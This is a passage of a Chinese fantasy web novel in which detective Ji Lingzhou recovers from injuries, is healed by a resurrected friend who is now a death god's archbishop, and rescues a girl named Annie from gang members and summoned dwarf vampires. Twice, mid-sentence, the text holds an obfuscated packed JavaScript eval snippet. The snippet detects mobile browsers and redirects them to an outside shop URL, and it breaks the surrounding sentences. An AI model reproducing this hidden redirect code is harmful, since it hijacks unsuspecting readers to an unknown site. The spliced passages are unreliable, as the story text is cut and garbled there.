艾希莉感受到,身后的人逐渐安静下来,背上的重量越来越沉,呼吸声微弱几不可闻。 她的心提起来,连唤两声 “侦探先生?” “季……” 良久,才听到一声几近气音的回应: “嗯……” “不要睡。”艾希莉的绷紧了。 “没事,我一般…习惯凌晨睡觉,这会还很…早。”这句话,他断断续续,休息了几次才说完整。 艾希莉嗓子里发出声短促的笑,接着又难过起来。 她后背的衣服温热的液体浸透,紧紧地贴在身上,空气中弥漫着浓郁的铁锈味儿。 夜风一吹,季泠州只觉得浑身发冷,意识逐渐模糊。 他甩了甩头,想让自己清醒起来,然而眼睛还是不可避免的黑了下去。 …… 塔楼上。 “精彩,漂亮!”佝偻老者咧嘴大笑,脸上的腐肉簌簌落下。 金发诗人咬紧牙关:“该死,是那个小子,我见过他。” “所以,刚才那个不是夜莺。”黑斗篷长叹了口气,“如果没看错,是妖术师的‘拟真幻影’,区区的二阶戏法,骗过了我们所有人。” 佝偻老者挑眉,低声自语: “拟真幻影施展的前提,是施法者熟悉要创造的幻像。 “区区一个二阶妖术师,却见过神祇,真是有趣。 “他的味道一定很美。” 老者呢喃自语,嘴里探出半根舌头舔舐嘴唇,灵巧地将脓液舔回嘴里。 “垃圾清理工要来了。”探出最后一个音符后,金发诗人收起竖琴,“今晚我玩得很不开心,再见。” 说完,他身影闪烁了一下离开巨虫虚影,出现在矮墙边缘,踏着空气一步步消失在夜色里。 巨虫虚影欢快嘶鸣一声,咽下嘴里含着的黑斗篷和几乎化作肉泥的佝偻老者。 它用力咀嚼,嘴里传来“嘎吱嘎吱”的声音,混着男人濒死的惨嚎。 另一边。 会馆的结界终于破了,数道强大的气息锁定两人。 23.今天也很思念哥哥 东陆,云中郡。 厚重的云彩堆在天际,像快要下雨。 街道上行人匆匆,若季泠州来到这里,就会诧异地发现,路两旁的建筑像他儿时居住的城区。 这里有学校、路灯、马路和成片的居民区,与尚处电气时代初期的洛萨兰相比,宛如两个世界。 城市边缘,坐落着一座崭新的四层建筑——团圆福利院。 一楼的后厨里,系着围裙的少年正在切萝卜。 他挽着袖子,露出截白皙的小臂,动作熟练而流畅。 旁边,是一大盆洗净剁好的肋排。 打着补丁的粗布门帘被掀开,一个中年女人走进来,手里端着一个瓷碗,里面盛满了温水。 她望了一眼少年生得极好的眉眼,笑吟吟地说:“越小哥,忙活大半天了,喝口水歇歇吧。” 少年伸手用袖子擦了擦额头的汗:“李院长,等我把汤炖上就休息。” “什么院长呀,就是个给娃娃们当老妈子的。”李院长搓了搓围裙边,嗓音里带着云中人特有的爽朗。 “李院长太谦虚了,你可是有编制的官方工作人员。” 这话让女人的眉心舒展开来。 她笑眯眯道:“您真是个好人。要不是您三天两头来帮忙,孩子们怕是连饭都吃不上了……” 想到迟迟不到账的经费,她叹了口气,脸上的笑容消失得无影无踪。 她搬过剩下的一盆萝卜,一起切起来。 少年摇头:“眼下神都正筹备新皇继位仪式,财政紧张。再坚持一阵,郡里很快会补上拨款。” 李院长听了,认可地点头: “我有什么好抱怨的,能过上现在的日子,全靠神都的绝对壁垒。听高老头说,新大陆那边遍地都是异常。经常有邪教徒杀害平民,是真的吗?” 少年含笑点头:“当然是真的,报纸上报道过许多次。据说前些天,洛萨兰的首都就发生了一起血案,死了好多人。” 他忽然察觉到什么,动作突然停下来,眼中闪过一丝不易察觉的期待。 “李院长,您先忙。我出去一下。” 说完,他在一旁的水盆里洗净手,用一旁的毛巾擦干后,匆匆走出了厨房门。 门外,长着棵茂盛的合欢树,枝叶里藏满了小扇子一样的花,香气浓郁。 四下无人,少年站在树下,伸手朝天。 微光闪过,一面精致的水银镜自掌心浮出。 他懒洋洋的伸出手,像是安抚小动物一样,曲起指头在镜子后面精美的雕花上挠了几下。 水银镜一阵微颤,表面浮现一行字符。 【大人,仪式失败,疑似目标对象干预。开始准备下一次计划,这次必定成功。ps:附目标血液样品一份,请您确认。——凋零】 随着小字消失,镜面上掉下一块沾满暗褐色血液的亚麻衣料碎片,呈不规则的圆形,边缘带着巨型昆虫的齿痕。 少年用两根指头捻起衣料举到鼻尖嗅嗅,脸上忽然露出怀念的神色,语气喜悦: “我找到你了,哥哥。 “哦?衣服的料子很好,你的新生活过得还不错嘛。 “我就知道,你总是能把自己照顾得很好。” 他闭上眼站在原地,深深地吸了口气。不知是在嗅花香,还是在闻血的气息。 密集的雨点落下,打湿他额前的碎发。 少年像是没察觉到,就这样站在滂沱大雨里,张开双臂一动不动,仿佛在拥抱什么。 雨滴顺着他的睫毛滑落,分不清是水还是别的什么。 良久后,少年淡色的唇微张,自齿缝里挤出极低的叹息: “真希望我从未见过光明,那样就能忍受黑暗了,可惜遇到了哥哥。” 他呢喃道:“好想杀了哥哥。” 旋即,似乎是被自己的想法吓到了,他猛得睁开眼睛,脸上尽是惶然。 “不。阿越怎么会伤害哥哥呢?” 他忽然压低声音,像在哄劝看不见的人,指尖却深深掐进掌心,白皙的脸上泛起凄楚。 “哥哥回家就好,回阿越身边,我们永远在一起。” 雨水很快浸透了他身上的衣服,也将掌心的碎布一并沾湿。 丝丝缕缕的血沿着手腕淌进衣袖。 不知道过了多久,少年用力擦了一把脸上的水珠,忽然低低笑出声。 “只有活下来的哥哥,才是阿越的好哥哥。不小心死掉,会变成杂鱼喔!” 一道白亮的闪电划破长空。 他的笑声越来越大,引得墙外撑伞的路人投来好奇目光。 少年伸手按在水银镜上,输入一行新命令。 然后,小心翼翼地将衣料藏在紧贴心口的地方,朝厨房走去。 行走间,丝丝缕缕的雾气自他身上升腾,待掀开门帘,身上早已不见半点水渍。 “李院长,我来炒菜吧。”他语气轻快接过锅铲。 一墙之隔的楼道里,响起下课铃声。 衣着统一的孩子们冲出教室,期待地趴在厨房的窗户上。 今天能吃肉,太好了!孩子们由衷感到开心。 少年也很开心。 他觉得自己选对了,这家福利院的名字寓意极好,果然带来了好运,选这里完成社区劳动果然是招妙棋。 …… 季泠州这边也很“开心”。 他病恹恹地蜷在沙发上看书,周围堆满了各式各样的花束。若不是他还睁着眼,几乎像是葬礼上的遗体告别环节了。 不少花束带着小卡片,上面写着“送给救命恩人”。 这些都是由纪念会上的幸存宾客送来的。 季泠州更愿意称它为“链式反应”纪念会。 这场纪念会本为悼念一位逝者,却意外制造了大量新逝者。 想必涅伽拉德的鹳羽花要卖脱销了吧。 想到这,他偏了偏头,调整膝上书籍的角度,用左手艰难地翻了一页。 不知是因为【苍白挽歌】的原因,还是“美强惨”称号自带的战损光环,他在杀虫行动中受伤颇重。 大半边身躯都被侦探协会提供的一种透明的泡泡状异常物包裹,它无法恢复伤势,但能保持伤口不再恶化,同时屏蔽痛觉。 清晨的阳光透过玻璃窗,照在季泠州苍白到有些透明的脸上,让原本好看到透出几分凌厉的五官都柔和起来。 厨房的方向,飘来带着浓烈焦糊味儿的甜香。 哦! 天,彼方又在尝试菜谱了。 季泠州望向厨房方向,声音尽量放软:“彼方,我不饿。你可以停下休息一会。” 刹那间,房子像地震一样颤抖摇摆,炉灶上的烧水壶嘴里喷出大股蒸汽。 “啊!别生气,我真的很期待你的厨艺。”季泠州连忙改口。 房子平静下来,一个摆着牛奶、热饼干和新鲜无花果的托盘,被殷切地送到茶几上。 季泠州望着那一盘堆得高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17236781|196972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高的深紫色木块样的东西,小心翼翼地捻了一片塞进嘴里,用力咬下。 没咬动! 饼干极硬。 他调整了一下饼干的位置,小心翼翼放在嘴巴侧面虎牙的位置,再次咬下。 坚硬的烘焙谷物裂开。 果然,读书时的物理课没白学,减小接触面积能增大压强,诚不我欺。 他一边吃力地咀嚼着,一边暗自懊悔:早该想到提醒艾希莉不要送食谱。 自打一周前,他奄奄一息地被送回家,彼方的情绪就一直很不稳定。 它发疯了一般,按食谱制作了大量“据说适合病人吃”的食物,以近乎是强迫的态度送上来。 季泠州对此表示束手无策,他还没有掌握安抚房子情绪的技巧。 只好将希望寄托在和塔洛斯的约定上。 那位焦头烂额的侦探协会带头人承诺:协会将会免费救治挺身而出保护市民的热心会员。 再次扫视了一眼墙上的挂钟,八点一刻。 “咚咚咚。”门外如约响起敲门声。 “季,我来看你了,你猜猜我带谁来了?”热情的男高音响起,是塔洛斯。 熟悉的圆脸自会客厅门口探出,一双黑亮的眼睛精准地锁定了季泠州。 他身后,跟着一个穿着月白仪式长袍的人。 那人脸上带着精美的银面具,站姿松弛,臂弯里抱着根水晶雕刻的权杖,一副既神秘又像没睡醒的样子。 “某位神祇的牧者?”季泠州试探着说,并没有起身。 实际上,身上的伤势也不容许他起身。 塔洛斯笑眯眯回答: “答对了。没有奖励。 “季,协会提供两种治疗方法。一是通过协会和东陆官方的合作项目,下午有一艘客轮直达东陆,在那里你会得到世界上最好的治疗,完全没有副作用。 “另一种,则是由这位亡月的大主教用神术治疗你。” 那人竟然是亡月的大主教! 季泠州的眼睛扫过厨房门,那里常年放着一沓亡月教会发的活动传单,他喜欢拿来垫盘子、果皮。 自己完全不需要选择。 要知道,亡月是执掌死亡的神祇,热衷于观赏凄美或有趣的死法。 祂是极限运动的庇佑者。 亡月教会每个月都会举办徒手攀岩大赛,胜者可以选择升入神国,失败者也有机会进入神国,若他们恰巧摔在岩石上。 而亡月的神术,则和祂的本人的趣味一样恶劣。 季泠州知道的最著名的亡月神术,就是生命借贷。 借贷者可以用寿命换取“天命者体验时间”。 在体验时间里,他们做任何事情都会成功,即便是一个文盲想要考取空塔的学士,也能在短时间内学会一切。 但随之而来的是,是体验结束后的可怕代价。 借贷者会跌进人生的低谷,直至死亡。 包括但不限于: 在不可抗力的作用下,和父母、伴侣和子女反目成仇。因种种合理意外,失去一切,比如积蓄、工作、住房…… 即便是住到大街上,也会迎来漫长的连阴雨,像是命运的弃儿。 而熬过这一切的,还有更糟糕的等他们。那时候,就是喝水也会被呛到。 大部分人撑不过三天,就会选择自行了断。 季泠州甩甩头,将多余的思绪抛出大脑。 “我选择亡月神术。”他斩钉截铁道。 24.妖术师、果蝇和矮人吸血鬼 塔洛斯圆圆的脸上浮现大大的疑惑。 他不动声色地收回插进口袋的手,那里躺着一张目的地为东陆神都的船票。 “确定?” “确定。” 季泠州别无选择。 侦探协会的报纸能查到不少有用信息,他自然没忘记了解东陆。 据资料记载,东陆和奥伦特、洛萨兰这些重视超凡的国家不同,东陆选择了科技路线。 因此,东陆和其他国家的来往很少。 更糟糕的是,他查到东陆在百年前曾发生过一次内乱。 失败者逃向世界各地,那些人的后裔也被列入了东陆的通缉名单。 季泠州没有前身的记忆,不确定自己是否在这份名单上,如果贸然选择去东陆,很有可能是自寻死路。 “告诉我,代价是什么?”季泠州声音平静。 塔洛斯搓了搓手说:“一点点微不足道的寿命。” “开始吧!”季泠州松了口气。 他现在最不怕的就是消耗寿命了,反正寿命已经被扣完了,只要抵住【苍白挽歌】的厄运反噬,四舍五入等于没有代价。 作为【玩家】,卡bug很正常。 亡月的大主教望向塔洛斯,在得到一个肯定眼神后,举起权杖。 柔和的月光笼罩住沙发,和上面的季泠州。 他耳畔响起一道熟悉的轻笑。 季泠州眼前一闪,世界似乎跳了一帧。 当他再次望向自己,发现自己身上的泡泡异常物滑落在地,所有的伤势瞬间恢复,像是从未出现过一样。 亡月大主教依旧松松垮垮地站在那里,怀里抱着权杖,似乎从来没有移动过。 塔洛斯“啪啪啪”地鼓掌,赞叹道: “杰出的施法技艺,比起老爱德华毫不逊色。我的任务完成了,如果没有其它事,我就离开了。” 季泠州叫住了他,声音温和坚定: “塔洛斯,我记得那天晚上无意中诞生了一件异常物。 “根据惯例,它属于距离最近的超凡者所有。请问什么时候能将我的新地毯送来?” 塔洛斯的表情僵住了。 他哈哈一笑:“果然是岁数大了,记性不好了。你瞧,最重要的事情竟然给忘了。” 塔洛斯递过一把钥匙。 同时解释:“那件异常物危险极大,不能交给个人保管。异对司拨了另一件异常物给你做补偿。” 季泠州认真看了他一眼。 想必,塔洛斯也知道,自己并不是一个擅长说谎的人吧! 季泠州用已恢复如初的右手接过钥匙,举在眼前仔细观察。 是把黄铜钥匙,钥匙柄上刻着“TG”。想必,是塔洛斯名字的缩写。 因为“鉴定”,季泠州能看到更多东西。 他确信,这把钥匙非常珍贵。 毫不夸张,甚至觉得,它对于自己而言,用处不低于续命的【苍白挽歌】。 视野里,钥匙上方浮着一行只有他才能看到的小字: 【安心钥匙:此心安处,便是吾乡。它能带你到最想去的地方,限每日三次。当前指向目的地——彼方。】 【备注:它是超凡职业【休息室管理员】晋升六阶后凝聚的唯一结晶。很遗憾,限于主人的力量层级,它无法带你回家。】 塔洛斯注意到季泠州的表情,毫不客气地自吹自擂道: “小子蛮识货嘛,这是我从协会收容室里精心为你挑选的。” “收容室?”他问。 “对呀!协会把搜集到的异常物放在一个安全地方,会员有需要可以申请借用,你不知道吗?” 季泠州摇头。 “你现在知道了。”塔洛斯哈哈一笑,凭空拉开一扇门,跨步进去,“我还有事,走了。” 有趣! 塔洛斯看起来似乎很急切。 季泠州若有所思,协会根本没有拨所谓的“替代的异常物”,这把钥匙大概率是塔洛斯自掏腰包补给自己的。 至于是不是,找个机会试一试就知道了。 他嘴角微微翘起,终于能自由活动了。现在,他要去完成一件早就想去做的事情。 ——收走厨房的食材。 忽然,季泠州意识到房间里还有人在。 亡月的大主教依旧站在原地,毫无离开的意思。 “主教阁下,多谢您的帮助。”他语气客气而疏离。 【苍白挽歌】已经够折磨人了,他完全不想和这位亡月大主教套近乎。 要知道,亡月是个很无聊的神祇,经常会通过牧者的眼观察世界。 若是被祂注意到,就大不妙了。天知道那位乐子神会安排什么给自己。 亡月大主教轻笑一声,伸手摘下了银面具: “季,我们又重逢了。” 季泠州站在原地一动不动,简直无法相信自己的眼睛。 他看到了什么? 死去的梅特伦,正活生生地站在自己面前。 当然,和之前有些不一样。 梅特伦的脸颊上,那些生机勃勃的雀斑消失不见了,取而代之的是大理石般光洁白皙的皮肤。 更引人注目的是,他那双棕色的眼睛化作了苍银色。 圣洁中泛着一丝妖异。 季泠州不由自主地盯着梅特伦,总觉得那双银瞳背后,有某种非人而伟大的存在透过凡人的双眼与他对视。 下一秒,梅特伦将手里的仪式权杖随手一丢,躺在了沙发上,发出一声舒服的叹息声。 “当亡月主教真是太累了,主持不完的弥撒和每天五场起的会议。 “我每天都工作到十二点。” 神圣感消失了。 季泠州觉得,那个熟悉的家伙回来了。 “你是怎么复活的?”他问出了藏在心底的疑惑。 梅特伦:“你知道的,我的超凡职业的【妖术师】。技能都是些逗乐子的小把戏,幻术、漆黑隐身法、变蛙术之类的。 “在成为半神前几乎没有战斗力,灵视又特别高,就很容易死。 “所以大部分【妖术师】都是亡月的浅信者,毕竟祂老人家喜欢看乐子,我们投其所好,多少能换点祝福。 “我咽气那晚,前任大主教爱德华大人刚好被召去了无尽月宫,然后亡月就选了我。” 他的言语里,缺乏对亡月的敬重。 很明显,神祇的性格会影响信徒。 季泠州不知该说什么好,如此草率的选择,的确是那位神祇的风格。 梅特伦抬眸扫了眼窗外的残月,今天的日程清晰地罗列在上面,只有他能看到。 这也是亡月的赐福,帮助信徒随时掌握人生。 “季,时间不多,十分钟后我还要主持一场活动,咱们长话短说。” 他用银色的眼盯着季泠州,神情严肃: “亡月的典籍里记载着协会没有的资料,关于【苍白挽歌】。那是件很邪门的异常物,具体我没法告诉你。因为当你知道那一刻,人生轨迹里原本没有的厄运会突然降临到你头上。 “相信我,没人经得住。” 梅特伦的语气相当诚恳,季泠州从他的表情里得出一个沉甸甸的事实,他说的是真话。 梅特伦闭上眼睛,几秒后再度睁开:“我可以帮助你转化成亡月的祭祀,这是我唯一想到的能帮你的办法了。” 季泠州沉默不语。 亡月祭祀转化,是超凡者信仰神祇后会举办的一种仪式。 他们通过仪轨,放弃自己原本的超凡职业,将其转换为对应神祇的祭祀。 仪式后,无法使用职业能力,只能使用对应的神术。 死后,灵魂也会进入神祇的神国。 无论哪一点,于季泠州而言,都比死更可怕。 他很难想象,在意识清醒的情况下,永生永世被困在某个神祇构建的神国里的痛苦。 而且,还是亡月这种抽象乐子神,祂若是心血来潮,安排自己主持某项极限运动的比赛。 完全是被判无期工作呀! “谢谢。真到了那一天,我会考虑的。”季泠州委婉拒绝。 “你想好了,随时找我。”梅特伦似乎也没指望他一次就答应。 他站起身,重新带上银面具。然后从长袍口袋里掏出一堆儿黝黑的石头。 “喏,这几份一次性治疗术你收着。”梅特伦说完,就小跑着离开了。 季泠州认真收好石头。 说实话,亡月的治疗术效果确实很好,在无需支付代价的情况下,性价比更是高得惊人。 解决完今日份的社交,季泠州决定继续调查。他冥冥中有一种预感,自那一夜后,纪念会背后的那些人,很可能关注到了自己。 必须得主动出击,掌握先机。 他掏出一只深紫色有斑纹的椭圆形卵。 【寻路小果蝇的果实:这只可爱的生物孕育自赫尔曼·苏利文送给挚友的木雕。它擅长寻找、授粉、歌唱(嗡嗡嗡,嗡嗡嗡,嗡嗡嗡嗡嗡)……】 季泠州从果盘里挑了个最不新鲜的无花果,放在果实旁边。 一只洋葱一样、长着翡翠翅膀的生物忽然探出头来,抓住无花果一把塞进嘴里。 它有一双漂亮的复眼,大口嚼着无花果。 片刻后,它似乎是吃饱了,摇摇晃晃地飞起来,绕着季泠州的头转圈。 “带我去赫尔曼·苏利文最后出现的地方。”他简短下令。 小果蝇落到他肩膀上,复眼直勾勾地转向南边。 “彼方,中午不用做饭了。”季泠州叮嘱了一句,推开大门。 今天的贝克街很是冷清,街道上行人寥寥。 季泠州沿着街边的人行道一路往南。走了半小时,就看到三辆满载的黑色收尸人马车,车轮被沉重的车厢压得吱呀作响。 很明显,异对司对蠕行者的控制并不乐观。 即便刻意不去看,但仍然能看到密密麻麻的【蠕行者的食物残渣】标签。 他叹了口气,继续走。 很多时候,控制异常本身就是一项矛盾的工作。 若是让人们了解异常提前提防,固然能最大程度遏制异常扩散,但认知这个行为本身会导致人们更容易遭遇异常。 而若是选择性隐藏涉及超凡的关键信息,则像现在一样,异对司很早就在《涅伽拉德日报》撰文,告诫民众最近流窜来一伙歹徒,喜欢扮成熟人入室行窃,提醒人们注意提防。 总有人觉得自己能对付“歹徒”,于是他们成为蠕行者的牺牲品。 一路走来,季泠州能感觉到街边的景色越发荒芜破败。 他在一道围栏前站住脚步,掏出地图核对,寻路果蝇指着围栏内侧,再往前就是海文区了。 前方是成片的两三层高的楼房,外墙斑驳脱落,最外面的几栋已经被拆成了废墟,靠里面的仍旧亮着灯。 这种楼的住客大多是码头搬运工或洗衣女工这种,城市最底层的劳动者。 因为房屋采光极差,白天也需要点灯,所以价格便宜,出几十个生丁就能住很久。 按着寻路果蝇的指示,季泠州不断在危房和污水间穿梭。 终于,在一间地下室前,果蝇“嗡嗡”叫了几声,消失在空气里。 到地方了。 灰黄色的墙壁上满是大片的霉菌,空气里满是排泄物的臭味儿。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248612|196972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 季泠州礼貌地敲了敲门,毫无回应。 就在他思索,是否应该尝试刚学的侦探开锁妙招时,一把小刀贴着他的耳朵飞过,插进腐朽的木门。 嚯!偷袭! 更多的杂物抛来,伴随着男人们粗鲁的骂声。 他下意识握住【高光】的剑柄,借助异常物带来的灵敏加持自身,眨眼间钻进角落的杂物堆里,静静观察。 其实还带了一件新的【山寨隐身斗篷】。 可考虑到那可怕的副作用,尽管身边有一大片可疑的黄色水渍,他还是认真蹲好,在尽量不被发现的情况下悄悄观察。 “休,那个可爱的小家伙就躲在这里吗?她可值不少钱。”一个穿着皮夹克,说话间露出一口大黄牙的中年男人问。 “系的,哇那天看到她。”旁边,一个口齿不清的三角眼年轻人说。 “大声点!你扳手爷爷没听清。”大黄牙抡圆胳膊扇了三角眼的休一个耳光。 巨大的力量将休的嘴角打破了,他疼得龇牙咧嘴,露出缺了两颗门牙的嘴。 休顾不得擦嘴角的血,弯腰谄媚说:“把手老大,哈就在这。” 不等扳手回答,休一脚朝门踹去。 本就腐朽的木门不堪重负应声破裂,碎片砸在地上,荡起一阵灰尘,伴随着小姑娘害怕到变调的尖叫声。 季泠州眉心紧蹙。 这些帮派分子一看就知道不是好东西。 他们在做什么,绑架小姑娘? 用“鉴定”确定他们都是普通人后,他麻利地解下围巾裹住脸,抽出【高光】准备跃出。 无论是义务教育带来的正义感,还是对委托的责任心,都让他无法袖手旁观。 就在这时,门里闪出几道鬼魅般的矮小人影,它们的身躯像酒桶一样粗壮,头部覆盖着浓密的毛发,却异常敏捷。 人影怒吼着,以肉眼无法看清的速度咬在打头的帮派分子腿上,雪白尖锐的牙深深刺入他们的肢体。 帮派分子们发出惊天动地的惨叫声。 休不愧是小头目,他大叫一声,以和体型极不相称的敏捷躲开怪物,从怀里掏出手枪对着矮小人影疯狂射击。 然而人影像是烟雾组成的一样,子弹从它们身躯里穿过,射进墙壁。 握着【高光】的季泠州目瞪口呆。甚至忘了隐藏,直接站了起来。 使劲眨了一下眼,确定自己没有眼花,而是“鉴定”就是如此显示。 季泠州深深吸了口气,竭力回想【苍白挽歌】带来的种种不幸,这才勉强忍住没笑出声。 矮小的鬼魅身影上浮着介绍: 【矮人吸血鬼:受召唤赶来的里世界生物投影。注意,小心你的膝盖!】 这真是传说中的生物! 季泠州莫名其妙想起一个矮人笑话: 为什么矮人喜欢佩戴装饰牛角的头盔? 因为如果矮人的帽子上没有角,很容易被人当成酒馆里的凳子,一屁股坐到头上。 这些矮人吸血鬼的战斗力很高,片刻功夫就将帮派分子们咬倒在地。 无论是自称扳手的大黄牙,还有嘴巴漏风的休,以及那些没有名字的家伙,都呻吟着躺倒在地,身上鲜血淋漓,好不凄惨。 矮人吸血鬼们甚至分出两只扑咬季泠州。 对于普通人来说,这种动作敏捷、又无视物理攻击的暗影生物如附骨之疽,很让人头痛。 但对于季泠州而言,也就是挥几下胳膊的事。 【高光】的每一击都自带超凡伤害,可以轻松打散维持矮人吸血鬼存在的灵性。 当然,前提是执剑者能准确斩到它们身上。 季泠州并没有贸然消灭矮人吸血鬼,而是在杂物堆里辗转挪移,利用身法躲开扑咬而来的矮人吸血鬼。 他一边潇洒旋身,躲过扑向膝盖的吸血鬼。 一边问:“喂!我和他们不是一伙的,你认识一个叫赫尔曼·苏利文的人吗?我受托来寻找他。” 地下室里,弹出个脏兮兮的脑袋,是个十一二岁的小姑娘。 女孩手里握着个和她脑袋一样大的木头杯子,满脸惊喜盯着季泠州:“你是赫尔曼叔叔派来找我的吗?” “不是。我只是受托来找赫尔曼。”说话间,矮人吸血鬼似乎失去了控制。 它们伏低身子,朝着小姑娘扑去。 “快回来!”小姑娘高高举起杯子,试图将这些有尖牙的生物收回来。 但毫无作用。 【血腥酒杯:倾倒血酒,召回十只以内数量不等的矮人吸血鬼,它们会帮召唤者攻击身高范围内能够到的一切存在。ps:矮人崇尚武力,召唤者必须击败它们!】 她反应过来,惊慌失措地丢下杯子,转身就跑。 最前面那只矮人吸血鬼的嘴,几乎要碰到她的脖颈。 季泠州见状提起【高光】,脚下步伐迅捷,一跃而起踏在墙上绕开杂物,轻飘飘掠到小姑娘身后,一剑刺穿矮人吸血鬼。 矮人吸血鬼捂住伤口大声嚎叫了一声,化作猩红的气雾飘回酒杯。 接着,寒芒闪烁,他从容不迫地打败了剩下的矮人吸血鬼。 【血腥酒杯】里的酒液再次蓄满,若是凑近听,还能听到矮人语的粗鲁叫骂声,比如: “个子高有什么了不起!” “和那些卑鄙的尖耳朵一个德行。” “再给我一次机会,我要请他吃我的大斧子。” 小姑娘坐在地上,满脸感激的笑,眼里的警惕如冬雪般消融。 还真是轻信的小家伙,季泠州想。 然后,他穿过满地的狼藉和躺着哀嚎的帮派份子,蹲下身子,对着小姑娘伸出一只手。 25.疫医 半个小时后。 街边酒馆角落里的卡座。 小姑娘很努力地往嘴里塞烤面包、煎蛋和培根,两边腮帮子鼓得像只花栗鼠。 季泠州看她狼吞虎咽的样子,很担心她会噎死。于是唤来侍者,叫了一壶热茶。 原本想要一壶牛奶。 他记得,小孩儿多喝牛奶能长高个儿。天可怜见,这小姑娘只比矮人吸血鬼高半个头。 但这样的贫民窟酒馆,除了掺水的廉价酒外,唯一能提供的饮料只有热茶——它能帮客人醒酒。 他倒了满满一杯,塞到小姑娘手里,声音温和:“慢点吃别噎住,都是你的。” 小姑娘从堆得高高的烤面包里抬起头,喝了一大口茶,将嘴里的食物冲进喉咙,感激点头。 季泠州满眼同情,他想,小姑娘一定很久没吃东西了。 等吃得差不多,他温和地摸了摸小姑娘的头: “小朋友,能说说你和赫尔曼的关系吗?还有,那些帮派分子为什么抓你?” 他开口的时机很不恰当,小姑娘正偷偷将一块面包塞进袖子,听到季泠州的话,惊慌地抬起头,以为自己的小动作被发现了。 季泠州心中好笑,连忙装成专心欣赏旁边装饰画的样子。 小姑娘藏好面包,放下心来,抬头迷茫地看着季泠州。 他又重复了一遍问题。 她疑惑地皱眉:“先生,你叫我小朋友?真是奇怪的称呼。” 季泠州尴尬一笑,自己不小心把地球的习惯带来了。按照这里的风俗,自己应该称呼她为女士。 好在小姑娘并没有在称呼上纠结,直接开口: “好心人先生,我的父亲失踪了,据说是一个黑头发的东陆人干的,赫尔曼叔叔在帮我寻找父亲。” 季泠州单手托腮,若有所思。黑头发的东陆人?他恰巧认识一个。 再次认真打量小姑娘的五官,的确是似曾相识的样子。 再结合夜莺给的赫尔曼失踪前的工作任务清单,他想,自己知道这个小姑娘是谁了。 他轻轻解下裹着脸的围巾,微笑说:“是这样吗?” “东…东陆人!” 小姑娘尖叫着打了个嗝,跌跌撞撞地从椅子上滑落下来,慌不择路地朝酒馆大门跑去。 酒馆的侍从投来惊疑的眼神,季泠州微笑着向他点点头,摊摊手做了个“孩子调皮没办法”的动作。 他继续坐在原地,慢条斯理地给自己倒了杯热红茶,顺便插了一块培根塞进嘴里。 比金罗勒餐馆做的要咸,油脂也异常充足,他吃着有些腻,但对附近街区那些从事重体力劳动的居民而言,能提供足够的热量。 【血腥酒杯】静静地放在小姑娘的餐盘旁边,她跑得太急了,以至于忘记了最重要的东西。 几分钟后,如意料中的那般,小姑娘回来了。 “先生,请您原谅我的无礼。”她站在桌边提着裙子,行了个别扭的礼。 “安妮·豪斯,我不是坏人。”季泠州掏出自己在侦探协会办理的身份证明,摆在桌子上。 “我的确是见过豪斯先生,但仅在工作中。之后发生的事情,我一无所知。”他的语气很诚恳。 安妮拿起身份证明文件,认认真真地检查了一遍,这才坐下。 她十指交叉,完全无心吃东西,踌躇了几秒后,开口: “季先生,我愿意相信您,再次向您道歉。 “父亲失踪后,母亲用全家所有的积蓄雇佣了一位资深侦探寻找父亲,但一直没找到。后来……” 因为难过,她的声音逐渐低下去,季泠州只能勉强听清。 安妮的经历大致如下: 第一位侦探找不到,于是在邻居的劝说下向帮派借钱,又委托了另一位侦探。接着,非但没有寻到豪斯,反倒迎来了上门催债的人。 她的母亲拿不出钱,只好带着两个孩子躲起来。在逃跑的过程,一家三口走散了。 “你们欠了多少钱?”季泠州问。 “一个金帆。”安妮眼中满是绝望,这是她全家不吃不喝十年也攒不够的数字。 季泠州取出一个金帆放在桌子上。 “继续说说赫尔曼吧,不要漏过任何细节,那这个金帆就是你的了。”他注意到,小姑娘虽然看起来没心眼, 安妮的眼睛变成了“$_$”的形状。 迫不及待开口: “母亲被铁皮犀牛帮的扳手老大抓走了,哥哥带我躲了起来。然后我们遇到了赫尔曼叔叔,他给我们买吃的,还租了一间房子给我们住。” “那间地下室?”他搜过地下室,里面什么线索也没有。 “对,赫尔曼叔叔说他钱不多只能租这种房子。后来赫尔曼叔叔也不见了,他留下一个盛满酒的木头酒杯,让我遇到危险就把酒倒出来。” 大大的问号从季泠州心底浮起。 实在不怪他多想,实在是安妮的叙述里疑点太多了。 按照惯例,异对司探员在调查过程中遇到事件相关人的,是有权利将她们带回异对司庇护起来的。 异对司针对安妮这样的事件相关人,设置安全居住区,那里还布置有防护结界。 而赫尔曼并没有遵守规定流程,反而租了一间房子藏起来安妮。 季泠州的指节有一下没一下的敲打着桌面。 他在认真思考。 最近发生了许多不相关的事,但似乎无形中有一条线,能将所有问题串联起来。 他很快停止思考,自己不是福尔摩斯。演绎推理就和数学一样,想不出、完全想不出。 那只好实地调查。 “对了,你哥哥呢?” “三天前,那些坏人抓我们,哥哥跑出去引开他们。之后,我就再也没见到哥哥了。”安妮情绪低落。 他想,安妮的哥哥很可能已经被抓走了。 季泠州咽下嘴里的面包,伸出一只手朝着安妮,说:“我们出发去铁皮犀牛帮。” 安妮:“?” 她迟疑地伸出手,和季泠州对拍了一下。 不远处,酒馆的侍从神色古怪地移开视线。有些动作即便没有亲自参与,光是看着也会觉得尴尬。 